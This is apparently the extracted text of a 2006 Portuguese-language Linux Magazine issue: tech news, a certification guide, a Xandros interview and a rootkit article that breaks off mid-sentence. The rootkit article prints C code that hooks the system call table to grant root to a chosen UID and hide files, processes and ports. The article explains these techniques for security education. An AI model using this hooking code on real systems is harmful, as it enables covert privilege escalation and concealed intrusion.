O esxRanger compacta os arquivos .VMDK antes de enviar o conte-údo para o repositório de becape, que pode rodar Linux ou Win-dows®, além de oferecer suporte aos ambientes NAS, SAN, Novell e UNC. A taxa de compressão pode chegar a até 70%, segundo a empresa, facilitando o manuseio das imagens de segurança.

Versão final do PandaFoi lançada a versão final do Panda DesktopSecu-re para Linux, um conjunto de utilitários de seguran-ça, incluindo antivírus, anti-spyware e firewall.

Segundo a Panda Software, essa versão foi projetada “para atender às demandas de segurança específicas desse siste-ma operacional”. “Existe a crença de que o Linux é um siste-ma operacional completamente seguro. Porém, isso não é de todo verdade”, afirma Ricardo Bachert, CEO da Panda Software Brasil. “Isto faz com que muitos usuários não utilizem qualquer tipo de proteção para essas máquinas“, afirma o executivo.

O programa é proprietário, mas está sendo distribuído gratuitamente. O download (pacotes .RPM e .DEB) pode ser feito em http://www.pandasoftware.com.br.



O equilíbrio entre teoria e prática deve existir para que o profissional de TI consiga suprir as demandas do negócio de uma empresa. Em um desses lados, a

certificação profissional hoje se adapta ao meio corporati-vo. Dessa forma, os principais certificadores profissionais do mundo criam novos exames.

Entre todas as versões comerciais do Linux, a Red Hat tem o mais popular programa de certificados. Com três níveis de certifi-cação, a empresa continua a ganhar reconhecimento com os certificados Red Hat Certified Technician (RHCT), entry-level, o já bem conhecido e respeitado Red Hat Certified Engineer (RHCE) e o novo Red Hat Certified Architect (RHCA). Todos são baseados no Red Hat Enterprise, com provas práticas – em laboratório

com simulação de troubleshooting e tarefas administrativas – e teóricas. Abaixo uma descrição de cada um:➧ Red Hat Certified Technician (RHCT) – Essa é para

os que desejam tirar sua primeira certificação. Com con-teúdo básico e com menor nível de complexidade para resolução de problemas (troubleshooting).

➧ Red Hat Certified Engineer (RHCE) – O profissional RHCE tem experiência em instalação, configuração e troubleshooting de sistemas e redes Red Hat Enterprise.

➧ Red Hat Certified Architect (RHCA) – O RHCA, cer-tificação mais nova e cobiçada da Red Hat, avalia pro-fissionais seniores que trabalham com design de infra-es-trutura de TI e gerenciamento de grandes e complexos ambientes Linux.

O Linux Professional Institute, também conhecido como LPI, foi criado por Dan York em Toronto (Canadá) e se tornou reconhecido internacionalmente por algumas características únicas, entre elas a neutralidade e o modo de desenvolvimento baseado nos princípios colaborativos. Qualquer interessado pode acompanhar o processo de desenvolvimento dos exa-mes. Todo o conteúdo é baseado no Linux Standard Base (LSB) e abrange o núcleo de qualquer distribuição Linux. Dessa forma, o conhecimento mensurado pode ser aplica-do em qualquer distribuição que possa ser considerada um “Linux legítimo”.

O programa de certificação inclui três níveis:➧ LPIC Level 1 – Candidatos que desejam se tornar LPIC1

devem passar em dois exames: 101, focado em gerencia-mento de sistemas Linux, e o 102, com foco no gerencia-mento de redes.

➧ LPIC Level 2 – Esse nível intermediário também exige que os candidatos passem em dois exames e o LPIC1 é pré-requisito. A prova 201 e 202 são equivalentes às provas do nível 1, mas com maior nível de complexidade.

➧ LPIC Level 3 – Esse é o nível sênior do LPI, ainda em desenvolvimento. O candidato deve passar nas provas 301 e 302, além de já possuir o LPIC2 (leia adiante sobre o processo de desenvolvimento desse exame).Pela primeira vez o LPI está oferecendo certificações para

uma distribuição específica, Ubuntu, e para um banco de dados, MySQL 5.0 (com o grau de Developer and Database Administrator). Ambos exames serão oferecidos na próxima Linux World Expo, em San Francisco, a partir do dia 15 de agosto, e preenchem uma demanda grande no mercado de certificações. Algumas outras sugestões atualmente sendo analisadas pelo LPI são certificações de clustering (perfor-mance/disponibilidade), administração de storage, segurança, além de Perl e LAMP para desenvolvedores.

Para a distribuição Suse há atualmente apenas a certificação CLP (Novell Certified Linux Professional). Mas, em agosto, será lançada a certificação premium do SUSE, o CLE (No-

Certificações Linux

Prática certificadaA experiência é insubstituível, mas como o mercado está cada vez mais exigente, um certificado pode ser decisivo na escolha de um talento. Talento, por exemplo, para liderar projetos grandes, com restrições de tempo e orçamento, em ambientes altamente críticos.por Bruno Gomes Pessanha

CO

RP

OR

ATE

Henk L – www.sxc.huv

Todo o processo de criação dos exames é formatado por técnicas de profissionais da área que validam cada questão.


25

| CORPORATEArtigo


vell Certified Linux Engineer). Todos baseados no produto SUSE Linux Enterprise Server e exigindo cada vez mais do profissional de perfil sênior.

LPI Nível 3O LPIC3 é uma certificação para administradores de nível sênior na qual pode-se exigir do candidato conhecimentos sobre gerenciamento de projetos de migração Linux, teoria sobre o protocolo utilizado e troubleshooting avançado. Aqui o foco são os profissionais que têm experiência em ambientes heterogêneos e de missão crítica. Por exemplo, o administra-dor não deve saber apenas como criar um servidor Samba, deve também conhecer detalhes do protocolo SMB/CIFS em um nível onde esse conhecimento sólido possa se rever-ter em um troubleshoot rápido e preciso, em um ambiente de produção com milhares de usuários exigentes conectados simultaneamente a seu servidor.

Todo o processo de criação dos exames é formatado por técnicas de psicometria, onde profissionais da área validam cada questão elaborada em um nível ideal de eficiência na medição do conhecimento.

Os dois primeiros exames serão baseados nas seguintes áreas:➧ 301 – Autenticação e Serviço de Diretório.➧ 302 – Servidores de Arquivo e Impressão.

Esses exames estão sendo suportados e desenvolvidos por vários profissionais ao redor do mundo com as mais diversas experiências com migração e implantação em grandes am-bientes, inclusive por membros desenvolvedores das equipes do Samba e OpenLDAP.

Será necessário passar nos exames 301 e 302 atualmente disponíveis para obter o Linux Professional Institute Certi-fied Level 3. Futuramente, com um número maior de áreas específicas, esses exames serão eletivos.

Nos meses de outubro e novembro, os candidatos poderão se inscrever para as versões beta dos exames em eventos pré-selecionados. Janeiro de 2007 é a previsão para o lançamento do nível 3 da certificação LPI em todo o mundo.

Sobre o desenvolvimento do LPIC3 (por exemplo, como colaborar com conteúdo) e demais informações podem ser obtidas no wiki do projeto oficial. ■

Mais Informações[1] LP: http://www.lpi.org

[2] Certificação Red Hat: https://www.redhat.com/training

[3] Certificação Novell/SuSE: http://www.novell.com/training/certinfo/

[4] Grupo de estudos: http://br.groups.yahoo.com/group/lpi

[5] Livro “LPI Linux Certification in a Nutshell”, da O’Reilly, atualizado de acordo com os novos exames e cobrindo as provas de nível 1 e 2: http://www.oreilly.com/catalog/lpicertnut2/

[6] Artigo sobre as provas de nível 1: http://www.examcram2.com

[7] Versão de estudo para o LPI do projeto Foca Linux: http://focalinux.cipsga.org.br/download-lpi.html

[8] Wiki oficial do projeto de desenvolvimento da certificação LPI nível 3: https://group.lpi.org/cgi-bin/ publicwiki/view/Examdev

O autorBruno Gomes Pessanha trabalha pela Sun Microsystems na Petrobrás como Analista de Suporte Linux/Unix e é co-autor do livro “LPI Linux Certification in a Nutshell”, da O’Reilly.

Tópicos exigidos no LPIC3Área de Conhecimento Software Tópicos Gerais

Autenticação e Serviço de Diretório (301) OpenLDAP, Kerberos, nss_ldap etc ➧ Conceito e arquitetura

➧ Design de diretório

➧ Replicação entre sites

➧ Migração de NIS para LDAP

➧ Whitepages

➧ Integração com Samba

➧ Tuning de performance

➧ Desenvolvimento de scripts utilizan-do o módulo Net::LDAP Perl

Servidores de Arquivo e Impressão (302) Samba, Kerberos, Heartbeat ➧ Conceitos do protocolo SMB/CIFS;

➧ Integração e configuração de di-ferentes clientes CIFS

➧ Administração avançada de re-cursos compartilhados

➧ Integração com Kerberos

➧ Troubleshooting e tracing avançado

➧ Clustering



CORPORATE | Entrevista

Linux Magazine » O que você pode nos dizer sobre a criação de uma subsidiária da Xandros Inc. aqui no Brasil?James Largotta » Que a Xandros realmente vai ter um escritório próprio aqui no Bra-sil. Nós estamos finalizando o processo de locação em São Paulo.

LM » Qual é a estratégia para o mercado brasileiro e latino-americano?JL » Em primeiro lugar, a Xandros enten-de a necessidade de fazer ajustes em seus produtos de acordo com as necessidades locais – não é o mercado que deve se ajus-tar aos produtos da empresa. Nós estamos trabalhando atualmente na nacionalização do nosso produto desktop para o portu-guês do Brasil e, em uma segunda fase, devemos fazê-lo também para o servidor – sem contar toda a documentação, que também será traduzida.

A nossa estratégia é entrar no mercado de educação, no mercado para o usuário final e no PC para todos, oferecendo aos usuários o acesso a uma solução Linux que seja ao mesmo tempo fácil de usar e de baixo custo.

LM » A Xandros lançou há pouco um produto voltado para o mercado de ser-vidores. Fale um pouco a respeito.JL » O novo sistema para servidores é muito interessante. Nós o disponibiliza-mos no início de maio deste ano, e ele está recebendo críticas muito positivas em análises efetuadas em todo o mun-do. Nós estamos com diversos clientes em potencial aqui no Brasil por conta desse sucesso, que estão querendo fazer projetos-piloto com o Xandros Server – o Supremo Tribunal Federal, em Brasília, algumas universidades do Nordeste do Brasil e uma grande empresa do merca-do de varejo, cujo nome eu ainda não posso citar.

LM » Qual é a estratégia de desenvolvi-mento por trás do servidor?JL » Nós procuramos desenvolvê-lo de modo que fosse facilmente administrável por profissionais de TI que não tenham nenhuma intimidade com o ambiente operacional do Linux. Mais que isso: nós o projetamos para que qualquer profissional que já tenha administrado um sistema seja capaz de administrar o servidor. Nosso objetivo durante o desenvolvimento tinha uma premissa ainda mais ambiciosa: se alguém for capaz de usar um computa-dor, mesmo sem ser profissional de TI, há boas chances de ele conseguir admi-nistrar o Xandros Server.

LM » Qual será a estratégia para construir uma malha de suporte técnico no país? Isso ocorrerá através de parcerias? Qual o papel do canal nessa estratégia?JL » Com a abertura da nossa subsidiária brasileira, nós estaremos a partir de agora intensificando nossos esforços em todas essas áreas no país. No início, teremos profissionais de nossos escritórios nos EUA alocados para trabalhar aqui, bem como brasileiros, que já trabalhavam na empresa, voltando para o país em posi-ções-chave. Eu, pessoalmente, também estarei trabalhando aqui. Obviamente, nós também já estamos trabalhando na construção de parcerias com empresas brasileiras. No que tange a revendas e a suporte, nós estamos conversando com a comunidade Debian – que é a base do nosso produto – de modo a poder ofere-cer o tipo de suporte de que os usuários necessitam. Nossa idéia é construir aqui no Brasil uma estrutura similar àquela de que a empresa dispõe nos EUA ou no Canadá. Assim, o Brasil abrigará a ma-triz da Xandros para a América Latina. Para isso, nós também iremos contratar pessoal da comunidade local.

LM » Quanto está sendo investido para abrir a subsidiária brasileira?JL » Estamos investindo milhões de dólares nessa empreitada. Para dar uma idéia do que investimos anualmente apenas em desenvolvimento, hoje esse número está na casa dos 9 milhões de dólares.

LM » O que levou a empresa a querer entrar no mercado somente agora?JL » Eu sempre soube que o mercado brasileiro é forte. Eu acho que o mo-mento agora é propício porque o Linux finalmente passou a ser aceito como uma alternativa real a outros sistemas opera-cionais. O sistema passou a ser visto pelo mercado como uma solução mais confi-ável, segura e mais acessível economica-mente. Fornecedores de soluções Linux estão sendo finalmente levados a sério e seus produtos e soluções em geral estão muito mais robustos atualmente.

LM » E como encarar a competição?JL » Oferecendo uma excelente usabilidade e reduzindo a complexidade da operação! O usuário precisa se sentir confortável com a operação do sistema, seja ele um especialista ou um iniciante.

LM » A Xandros tem a intenção de traba-lhar com dispositivos embarcados?JL » Nós acabamos de criar uma solução para terminais leves, que poderá ser usada em pontos-de-venda (PDVs), call centers etc. Nós já acertamos alguns projetos-pi-loto com algumas empresas durante a LinuxWorld Conference & Expo.

LM » Uma mensagem para os leitores?JL » Nós estamos com grandes planos para o futuro no Brasil e estamos conversando com diversas comunidades de desenvolvi-mento no país para criar as soluções em Linux de que o mercado necessita. ■

Entrevista com James Largotta

Xandros no BrasilPor ocasião da primeira Linux World Conference & Expo no Brasil, James Largotta, executivo-sênior da Xandros Inc., em entrevista exclusiva para a Linux Magazine, falou sobre o início das operações da companhia canadense – “herdeira” do famoso Corel Linux – no Brasil. Largotta, que está na Xandros praticamente desde a fundação da empresa, tem como desafio expandir os seus negócios em toda a América Latina.por Rafael Peregrino da Silva

CO

RP

OR

ATE


Das criações demoníacas na história dos crimes ele-trônicos, os rootkits estão entre as mais inventivas. Um rootkit é um conjunto de ferramentas para

o intruso de rede. Um invasor que consegue acesso a um computador pode fazer o upload do rootkit e usá-lo para ganhar o controle do sistema. Um aspecto interessante é a possibilidade de o rootkit encobrir os sinais da invasão. Versões retrabalhadas dos utilitários comuns como netstat e ps escondem qualquer vestígio do ataque.

Muitos rootkits já foram transferidos para muitos com-putadores pelo mundo. Por isso, desenvolvedores e especia-listas em segurança foram se tornando mais ativos contra as formas de ação dos rootkits no espaço do usuário. Ex-perts aprenderam a detectar a presença invasora usando ferramentas-padrão Unix que evidenciam mudanças no sistema. Mas, ao invés de desistirem, os invasores partiram para algo novo e mais ousado.

O rootkit de kernel é uma ferramenta de invasão de nova geração, que se entrelaça com o sistema Linux em um nível bastante profundo – abaixo do alcance das fer-ramentas de detecção do espaço do usuário. Armados dessa maneira, invasores ganharam de novo a vantagem, pelo menos temporariamente. O kernel 2.6 implementou diversas novidades que tornaram bem mais difícil a ação de rootkits de kernel. Mas a batalha realmente acabou? Nesta edição, o especialista em segurança Amir Alsbih mostra como ainda é preciso se preocupar com rootkits de kernel no Linux 2.6. Seu artigo contém uma visão prá-tica de como um rootkit desse tipo poderia atuar e como seria sua aparência.

ProteçãoMas nem todas as inovações estão vindo dos black hats. Também analisamos os dois princi-

pais sistemas de segurança do tipo MAC (Man-datory Access Control) para Linux: o AppArmor e

o SELinux. Com eles, um intruso que explora uma vul-nerabilidade para tentar ganhar acesso a uma máquina Linux pode nunca conseguir os privilégios necessários para efetivar a tomada de controle.

O especialista em segurança Ralf Spenneberg mostra como proteger seu sistema tanto com o AppArmor, projeto patrocinado pela Novell, quanto com com o SELinux, a ferramenta escolhida pela Red Hat para seus sistemas ope-racionais. Além disso, desenvolvedores das duas empresas detalham os custos e benefícios de cada opção.

Também vamos abordar como usar o módulo mod_se-curity do servidor web Apache para servir conteúdo dinâ-mico de forma segura. ■

Busca por segurança

Proteção ativaRootkits, exploração de vulnerabilidades, “buracos” no servidor web… Felizmente, há tantas formas de invasão quanto de proteção.por Joe Casad

CA

PA

Rootkit: Arma Secreta 28Apparmor: Armadura segura 34SELinux: Acesso sob controle 38Comparativo: AppArmor x SELinux 42ModSecurity: Cão de guarda 46

Linux Magazine #22 | Agosto de 2006http://supertuxbr.blogspot.com


Depois que um ataque compro-mete um alvo, o próximo pas-so é estabelecer uma base fixa.

Qualquer atacante experiente vai tentar passar despercebido dos administradores de sistema e usuários curiosos. Existem diversas ferramentas para ajudar usuá-rios infiltrados a cobrir seus vestígios. Os rootkits escondem processos, conexões de rede e arquivos dos administradores, e ao mesmo tempo garantem ao atacante o acesso à vítima por uma backdoor.

Até poucos anos atrás, hackers tenta-vam manipular programas instalados para montar um rootkit. Uma versão do netstat com um cavalo de tróia embutido conse-guiria esconder as conexões estabelecidas pelo hacker, enquanto um ps igualmente alterado poderia ocultar processos ile-gais. Como um ataque normal envolve a substituição de um grande número de utilitários, rapidamente surgiram root-kits especiais que rodam como usuários normais. Tais kits, que incluem diversos programas manipulados, são facilmente instalados por atacantes. A maioria dos rootkits também inclui backdoors e fer-ramentas populares entre hackers, como o IRC Bouncer.

Do ponto de vista de um hacker, root-kits de usuário apresentam uma desvanta-gem principal: uma simples comparação da soma MD5 contra o arquivo original revelaria a sabotagem. E não nos esque-çamos que programas especiais de busca,

conhecidos como caçadores de rootkits, rapidamente descobrem alvos afetados. Outro problema é que a influência do hacker fica restrita às ferramentas ma-nipuladas: qualquer software instalado, como o lsof, por exemplo, ou ferramentas em meios somente leitura (CD-ROM) continuam intactas, o que restringe a possibilidade do rootkit usuário de se esconder e sobreviver.

Kernel dinâmicoUm rootkit que manipula o kernel tem muito mais controle sobre o sistema. O kernel serve dados de sistema para pro-cessos que, por sua vez, entregam esses dados ao usuário ou administrador.

A partir da versão 2.2, o kernel Linux carrega módulos de kernel para ceder a administradores a capacidade de carre-gar drivers e outros códigos em tempo de execução, evitando assim a recompilação do kernel. Rootkits de kernel geralmente permitem que esse vetor de ataque exe-cute código diretamente no espaço do kernel [2], apagando os dados que um atacante teria que esconder antes mesmo que estes cheguem ao espaço de usuá-rio. O rootkit desta forma engana todos os programas do sistema que estiverem rodando, independentemente de terem sido instalados antes ou após a invasão, e sem se importar com as bibliotecas contra as quais foram linkados.

Os atuais rootkits de kernel, pro-gramados com grande habilidade, são praticamente mestres do disfarce. Nem ferramentas de sistema normais, nem ferramentas forenses mais antigas con-seguem detectar a manipulação.

Abordagens para a implementaçãoOs hackers já identificaram várias abor-dagens para manipular o kernel e assim implementar um rootkit de kernel:➧ Substituir chamadas de sistema in-

dividuais por versões manipuladas (syscall table patching);

➧ Inserir uma nova tabela de chamadas de sistema;

➧ Mudar ponteiros nas estruturas dos sis-temas de arquivos raiz e proc (Virtual File System [VFS] Patching [3]);

➧ Modificação direta das estruturas de código do kernel.Curiosamente, as técnicas dos rootkits

não são inteiramente restritas aos black hats (os hackers “do mal”). Na realida-de, administradores de sistema podem beneficiar-se da habilidade de analisar e monitorar sistemas com o uso de fer-ramentas como o Kstat [4] ou módulos como o Saint Jude [5]. Outros módulos como o Sebek [6] são ainda mais pare-cidos com rootkits, embora sirvam para objetivos bastante úteis na indústria da segurança.

Rootkits para o kernel Linux 2.6

Arma secretaOs rootkits atuais infiltram-se nos sistemas alvo no nível do kernel, e assim evitam a atenção indesejada dos administradores. Leia mais para uma visão prática de como um rootkit de kernel realmente funciona.por Amir Alsbih

CA

PA


29

| CAPARootkits


O problema com o kernel 2.6O kernel Linux 2.6 causou drásticas mu-danças a autores de rootkits. À exceção do Adore-NG [7], não existem rootkits disponíveis para o kernel atual, tanto benignos quanto malignos por nature-za. O motivo é que kernels mais antigos utilizam símbolos para exportar a tabela de chamadas de sistema, tornando mais fácil modificar tais chamadas, enquanto o Linux 2.6 mantém esses endereços em segredo. Um hacker precisaria dispor dos seguintes recursos para alterar uma chamada de sistema:➧ O código-fonte do kernel e os arquivos

criados durante a compilação;➧ um link simbólico de /lib/modules/

versão_do_kernel/build para /usr/src/versão_do_kernel;

➧ um kernel.conf correspondente;➧ um makefile para o rootkit;

Usuários da distribuição Gentoo têm essa tarefa facilitada, já que a arquitetura do Gentoo fornece tudo isso.

A tabela de chamadas de sistemaA tabela de chamadas de sistema define a interface entre o espaço de usuário e o espaço do kernel (figura 1). Uma tabela de chamadas de sistema contém os en-dereços de todas as chamadas de sistema. A biblioteca C padrão assegura que as chamadas de sistema necessárias ocor-ram em tempo de execução, enquanto o kernel efetivamente executa as chamadas.

O programa de espaço de usuário então processa e interpreta os valores retornados pelas chamadas de sistema.

As chamadas de sistema que o Linux oferece ficam guardadas no arquivo /usr/src/linux/include/asm/unistd.h. O unistd.h lista 293 chamadas com suas posições na tabela, como por exemplo a chamada read na posição 3.

Original e falsificadoO princípio de um rootkit de kernel é facilmente explicado com o uso do pro-grama ls como exemplo. O programa depende fundamentalmente da chama-da de sistema sys_getdents64. Ele retorna os arquivos e subdiretórios presentes no diretório especificado. O valor retorna-do por Getdents64 é processado pelo ls

Figura 1 Chamadas de sistema oferecem uma interface entre programas de espaço de usuário e o kernel. A biblioteca C faz um wrap do processo em funções simples de biblioteca.

Libc

Aplicativo

Libc

Aplicativo

Kernel

Saídainterpretada

Chamadas do sistema

Input

Tabela 1: Chamadas de sistema básicasChamada de sistema Descrição

int sys_fork() Usada para fazer fork de um programa. O rootkit Override [1] usa essa chamada de sistema para esconder todos os processos iniciados por um processo oculto.

int sys_getuid(); int sys_setuid(uid_t 101) Lê ou especifica o ID do usuário para o valor 101. Isso permite que um rootkit confi-ra privilégios de superusuário a um ID de usuário específico, mudando seu ID para 0.

int sys_chdir (const char* /usr/share) Entra no diretório /usr/share. No rootkit Override isto é usa-do como um switch oculto que impede que caçadores de rootkits en-trem nos diretórios proc criados pelos processos ocultos.

int sys_rmdir (const char* /meudir); int sys_mkdir (const char* /meudir, int modo)

Apaga ou cria o diretório /meudir

int sys_open (const char* arquivo, int modo); int sys_close (unsigned int descritor_arquivo)

Abre ou fecha o arquivo arquivo

int sys_read (unsigned int descritor_arqui-vo, char* buffer, unsigned int numérico); int sys_write (unsigned int descritor_arqui-vo, char* buffer, unsigned int numérico)

Lê e grava o arquivo apontador por descritor_arquivo

int sys_getdents (unsigned int descritor_arqui-vo, struct dirent* /meudir, unsigned int número)

Lista os arquivos do diretório /meudir. Programas moder-nos usam Getdents64 no lugar dessa chamada.



CAPA | Rootkit

e mandado para a saída padrão. Um kernel sem patches (figura 2) retornará os arquivos _R00t.txt e R00tbackdoor.sh criados por um atacante.

Compare isso com o sistema compro-metido mostrado na figura 3, no qual um atacante alterou a tabela de chamadas de sistema. A nova chamada My_getdents64 chama a rotina Getdents64 original. A My_getdents64 então manipula os valores retornados pela Getdents64, retirando ar-quivos com nomes que comecem com _R00t, por exemplo. Depois, a biblioteca C entrega os resultados manipulados ao ls. O programa processa os dados e joga para a saída padrão os resultados. Os ar-quivos criados pelo atacante ficam dessa forma omitidos da lista.

Encontrando a tabela de chamadas de sistemaAntes que um rootkit possa comprometer uma chamada de sistema, ele precisa en-contrar a tabela de chamadas de sistema. Uma abordagem simples, porém eficiente,

é buscar o segmento de dados inteiro. O rootkit Override [1] verifica cada endereço de memória no segmento de dados em busca da tabela de chamadas de sistema (exem-

plo 1). O laço while, na linha 5, itera através de todos os endereços que se encaixem nesse requisito.

A busca usa duas chamadas de sistema (como Open, Close e Read) do conjunto total de símbolos do kernel exportados como candidatos a teste. Os endereços das chamadas de sistema são conhecidos (exportados). Os números que pertencem às tabelas de sistema são listados como constantes em /usr/src/linux/include/asm/unistd.h: __NR_open, __NR_close e __NR_read. A linha 6 no exemplo

1 verifica se o endereço de sys_close() está no endereço testado no momento.

Só para ter certeza, a rotina busca outras duas entradas da tabela de chamadas de sistema. A linha 10 usa o índice da tabela para calcular o endereço da entrada sys_read(). A linha 11 compara os conteúdos para ter certeza de que ele encontrou o endereço da chamada de sistema que faz a leitura. As linhas 12 e 13, por sua vez, fazem o mesmo para a função de abertura de arquivo. Se as três entradas baterem, a linha 15 calcula o endereço do início da tabe-la de chamadas de sistema. Senão, a linha 19 incrementa o ponteiro.

Chamadas-alvo de sistemaAgora que já sabemos o endereço da tabela de chamadas de sistema, o rootkit não tem mais limites. O desenvolve-dor pode rodar o strace [8] para descobrir quais chamadas de sistema precisa manipular para enganar um programa específico. A ferramenta lista todas as chamadas de siste-

Figura 2 Um sistema saudável terá como saída os conteúdos do diretó-rio (em cima, à direita) quando um usuário executar o comando ls -la. Para fazer isso, o programa usa a chamada de sistema Getdents64 e interpreta os valores de retorno.

getdents64

Amir.txt

firewall.sh

_R00t.txt

_R00tbackdoor.sh

Amir.txt

firewall.sh

_R00t.txt

_R00tbackdoor.sh

ls −la

Invoca chamada do sistema

Interpretação

Valor de retorno da chamada do sistema

Executa Programa Saída

Exemplo 1: Encontrando a tabela de chamadas de sistema01 int get_sct() {02 unsigned long *ptr;0304 ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);05 while((unsigned long )ptr < (unsigned long)init_mm.end_data) {06 if ((unsigned long *)*ptr == (unsigned long *)sys_close) {07 #ifdef DEBUG08 printk (KERN_INFO” -> matching detected at %p\n”, ptr);09 #endif10 if ( (unsigned long *)*((ptr-__NR_close)+__NR_read)11 == (unsigned long *) sys_read12 && *((ptr-__NR_close)+__NR_open)13 == (unsigned long) sys_open)14 {15 sys_call_table = (void **) ((unsigned long *)(ptr-__NR_close));16 break;17 }18 }19 ptr++;20 }21 22 #ifdef DEBUG23 printk (KERN_INFO”sys_call_table base found at: %p\n”, sys_call_table);24 #endif25 if (sys_call_table == NULL) {26 return -1;} else {27 return 1;28 }2930 return -1;31 }


31

| CAPARootkits


ma usadas por um processo. O exemplo

2 dá uma idéia da saída para o programa id. Esse programa mostra os IDs real e efetivo de um usuário, além dos grupos a que ele pertence:

uid=500(grid-knight) gid=1000(master)➥ groups=19(cdrom),27(video),1003(auditor)

A saída do strace é mandada para a saída de erro padrão, stderr. A primeira linha do exemplo 1 indica que a chamada execve() é usada. No entanto, a chamada de sistema simplesmente executa o programa /usr/bin/id. Um número de chamadas Open e Read revela quais arquivos o id usa. Mas em nosso caso, as chamadas getuid32() e getgid32() são mais interessantes, já que retornam os IDs de usuário e grupo atuais. O id usa a chamada Write (última linha) para mostrar os resultados na linha de co-mando. O descritor de arquivo 1 (primeiro parâmetro) normalmente aponta para a saída padrão.

Identidade forjadaA chamada de sistema getuid32() é um alvo muito desejado pelos rootkits. Uma variante comprometida poderia retornar um ID de 0 para um usuário com ID real de 6666, conferindo-lhe assim privilégios de superusuário. Não há maneiras de manipular os arquivos de sistema (/etc/passwd e /etc/shadow) para atingir esse objetivo; os dados da conta podem ter sido originados até mesmo num servidor NIS ou LDAP. Até um administrador cuidadoso, que verifica regularmente os bancos de dados de usuários, deixará passar essa farsa.

Para substituir a chamada de sistema original pela sua imple-mentação particular, nós só precisamos inserir o novo endereço na tabela de chamadas de sistema. O exemplo 3 mostra o código para a função my_getuid(). As próximas linhas salvam o endere-ço da rotina original como org_getuid e sobrescrevem o ponteiro para a tabela:

org_getuid=sys_call_table[__NR_getuid32];(void *)sys_call_table[__NR_getuid32]= (void *) my_getuid;

A linha 3 do código no exemplo 3 aciona a chamada de sistema original para descobrir o ID de usuário verdadeiro e depois com-para o valor de retorno com a constante MAGIC_UID (que poderia ter o valor de 6666). Se os dois valores forem iguais, a linha 5 especifica o ID de usuário do processo atual para 0 e retorna esse valor. Em todos os outros casos, a função my_getuid() simplesmente retorna o valor original de retorno. As linhas 11 a 19 mostram uma abor-dagem semelhante para o ID de usuário efetivo.

Switches ocultosEsconder processos e portas é um pouco mais complicado. Em vez de embutir os valores no rootkit, nosso código de exemplo usa switches ocultos na chamada de sistema chdir(). Quando o usuário (normal-mente o invasor) sai de um diretório para outro secreto e fictício (dentro do /dev/, por exemplo), o rootkit captura a ação e oculta um processo.

Figura 3 Num sistema comprometido, a chamada de sistema mostrada na figura 2 chama uma versão do My_getdents64 com um cavalo de tróia embutido, que chama a Getdents64 original, manipula seus valores de retorno, e passa esses valores para o usuário do programa.

ls −la

my_getdents64

Valorretornado final

firewall.sh

Amir.txt

firewall.sh

Amir.txt

Amir.txt

firewall.sh

_R00t.txt

_R00tbackdoor.sh

Executa programa

Invoca chamada do sistema

Saída

Valor de retorno da chamada do sistema

Chamada de sistema original

getdents64

Manipulação

Exemplo 2: Saída do comando strace01 execve("/usr/bin/id", ["id"], [/* 53 vars */]) = 002 uname({sys="Linux", node="localhost", ...}) = 003 open("/dev/urandom", O_RDONLY) = 304 read(3, "\10Y\vh", 4) = 405 close(3) = 006 geteuid32() = 50007 getuid32() = 50008 getegid32() = 100009 getgid32() = 100010 write(1, "uid=500(grid-knight) gid=1000(master)...)

Exemplo 3: Chamada de sistema com um cavalo de tróia embutido

01 int my_getuid() {02 int ret;03 ret = org_getuid();04 if (ret == MAGIC_UID) {05 current->uid = 0;06 return 0;07 }08 return ret;09 }1011 int my_geteuid() {12 int ret;13 ret = org_geteuid();14 if (ret == MAGIC_UID) {15 current->euid = 0;16 return 0;17 }18 return ret;20 }



CAPA | Rootkit

Em qualquer outro caso, uma chamada normal à função chdir() é executada.

A chamada chdir, modificada do exemplo 4, primeiro verifica (na linha 5) se o usuário quer mudar para o diretório /proc e, se for o caso, verifica também se o usuário selecionou um dos proces-sos ocultos lá guardados (linhas 9 a 15). Se esta condição for satisfeita, o rootkit impede que isso aconteça, retornando o valor -1. Isso engana os caçadores de rootkit que tentam todos os IDs de pro-

cesso listados em /proc/IDs e os compara à tabela de processos.

Cinco comparações com switches ocultos são realizadas, e uma ação es-pecial é ativada se o caminho começar com um switch pré-definido. As linhas

18 a 20 adicionam à lista de processos o ID de processo que foi acrescentado ao caminho virtual pelo atancante. As três linhas seguintes apagam todas as entradas. As linhas 46 a 51 contêm o código para ocultar e revelar portas de rede.

Se for pedido, o código das linhas 24 a 45 lista os processos ocultos. Um laço itera contra uma lista de processos a ser oculta. Se ele encontrar uma entrada diferente de 0, o find_task_by_pid() da linha 37 encontra a estrutura de tarefas do processo específico (definido em /usr/include/linux/sched.h). A linha seguinte grava o PID e seu respectivo nome de comando, task.comm, numa área da me-mória do kernel. A chamada a copy_to_user() transfere essa área para o espaço de usuário, e uma org_write() joga seu conteúdo na saída padrão através do descritor de arquivo 1.

O rootkit OverrideO projeto Override [1], criado pelo ha-cker Newroot e eu, combina as técnicas discutidas até aqui e implementa um rootkit demonstrativo para o kernel 2.6. Ele oculta qualquer ID de processo que você queira e automaticamente oculta seus processos-filhos também. Se neces-sário, oculta ainda processos já ocultos, disfarça portas de rede, confere privilé-gios de superusuário aos processos de um usuário pré-definido e oculta todos os arquivos que comecem com algum prefixo específico.

A tabela 2 mostra as modificações a chamadas de sistema necessárias para essa tarefa. O disfarce do rootkit de de-monstração não é perfeito. Por exemplo, ele deixa vestígios claros de símbolos de kernel em /proc/kallsyms: é aqui que o kernel guarda todos seus símbolos. Como o autor do rootkit tem que armazenar os endereços das chamadas de sistema ori-ginais, nós encontramos símbolos como org_ e my_, assim como pelo menos uma variável para a tabela de endereços de chamadas de sistema que, no nosso caso, chama-se sys_call_table.

EscopoAlém de modificar chamadas de sistema, um atacante pode usar outras técnicas para empregar rootkits. Ele pode, por exemplo, entrar na camada do sistema de arquivos virtual (Virtual File Sys-tem, ou VFS) ou manipular código do kernel diretamente. Kits do segundo tipo podem funcionar até mesmo sem suporte a módulos do kernel, mas são mais difíceis de implementar. Além dis-so, a interface /dev/kmem, usada com este propósito, foi descontinuada no kernel 2.6.14. Se você se interessar em fechar esse buraco em sistemas mais antigos,

